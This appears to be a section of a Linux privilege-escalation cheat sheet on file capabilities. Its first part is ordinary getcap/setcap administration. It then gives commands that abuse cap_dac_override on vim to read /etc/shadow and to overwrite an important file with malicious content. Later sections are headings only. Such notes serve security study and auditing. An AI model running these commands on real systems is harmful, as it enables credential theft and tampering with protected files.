10.Capabilities
Find binaries with capabilities
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;Set cap_net_bind_service capability (Allows binding to privileged ports)
sudo setcap cap_net_bind_service=+ep /usr/bin/my_programClear capabilities
sudo setcap -r /usr/bin/my_program
List capabilities of a specific file
getcap /usr/bin/my_programUsing cap_dac_override to read a normally restricted file (Dangerous, be very careful)
/usr/bin/vim.basic /etc/shadowUsing cap_dac_override to overwrite a file
echo "evil code" > /tmp/evil.sh
chmod +x /tmp/evil.sh
echo -e ':%s/original content/malicious content/\nwq!' | /usr/bin/vim.basic -es /path/to/important/file # Very dangerousOverwriting an SUID binary
Using cap_setuid to change user ID (Requires compiled C program)
Using cap_sys_admin to mount a file system
Using auditd to log capability usage
Checking bounding sets
Checking effective, permitted, and inheritable sets
Checking the capabilities of a running process
Key Concepts:
Last updated